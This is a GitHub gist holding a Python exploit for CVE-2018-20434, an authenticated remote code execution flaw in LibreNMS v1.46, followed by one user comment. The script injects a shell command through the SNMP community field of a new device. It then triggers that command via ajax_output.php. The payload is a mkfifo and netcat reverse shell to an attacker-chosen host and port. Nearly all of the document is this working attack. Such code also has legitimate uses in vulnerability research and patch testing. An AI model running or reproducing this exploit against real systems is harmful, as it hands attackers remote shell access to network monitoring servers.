Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
#!/usr/bin/python
'''
# Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution
# Date: 24/12/2018
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.librenms.org/
# Version: v1.46
# Tested on: Ubuntu 18.04 / PHP 7.2.10
'''
import requests
from urllib import urlencode
import sys
if len(sys.argv) != 5:
print "[!] Usage : ./exploit.py http://www.example.com cookies rhost rport"
sys.exit(0)
# target (user input)
target = sys.argv[1]
# cookies (user input)
raw_cookies = sys.argv[2]
# remote host to connect to
rhost = sys.argv[3]
# remote port to connect to
rport = sys.argv[4]
# hostname to use (change it if you want)
hostname = "dummydevice"
# payload to create reverse shell
payload = "'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f) #".format(rhost, rport)
# request headers
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101"
}
# request cookies
cookies = {}
for cookie in raw_cookies.split(";"):
# print cookie
c = cookie.split("=")
cookies[c[0]] = c[1]
def create_new_device(url):
raw_request = {
"hostname": hostname,
"snmp": "on",
"sysName": "",
"hardware": "",
"os": "",
"snmpver": "v2c",
"os_id": "",
"port": "",
"transport": "udp",
"port_assoc_mode": "ifIndex",
"community": payload,
"authlevel": "noAuthNoPriv",
"authname": "",
"authpass": "",
"cryptopass": "",
"authalgo": "MD5",
"cryptoalgo": "AES",
"force_add": "on",
"Submit": ""
}
full_url = url + "/addhost/"
request_body = urlencode(raw_request)
# send the device creation request
request = requests.post(
full_url, data=request_body, cookies=cookies, headers=headers
)
text = request.text
if "Device added" in text:
print "[+] Device Created Sucssfully"
return True
else:
print "[-] Cannot Create Device"
return False
def request_exploit(url):
params = {
"id": "capture",
"format": "text",
"type": "snmpwalk",
"hostname": hostname
}
# send the payload call
request = requests.get(url + "/ajax_output.php",
params=params,
headers=headers,
cookies=cookies
)
text = request.text
if rhost in text:
print "[+] Done, check your nc !"
if create_new_device(target):
request_exploit(target)
@lifesfun101

This comment has been minimized.

Copy link

commented Aug 20, 2019

For some reason device creates successfully but no reverse shell opens.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.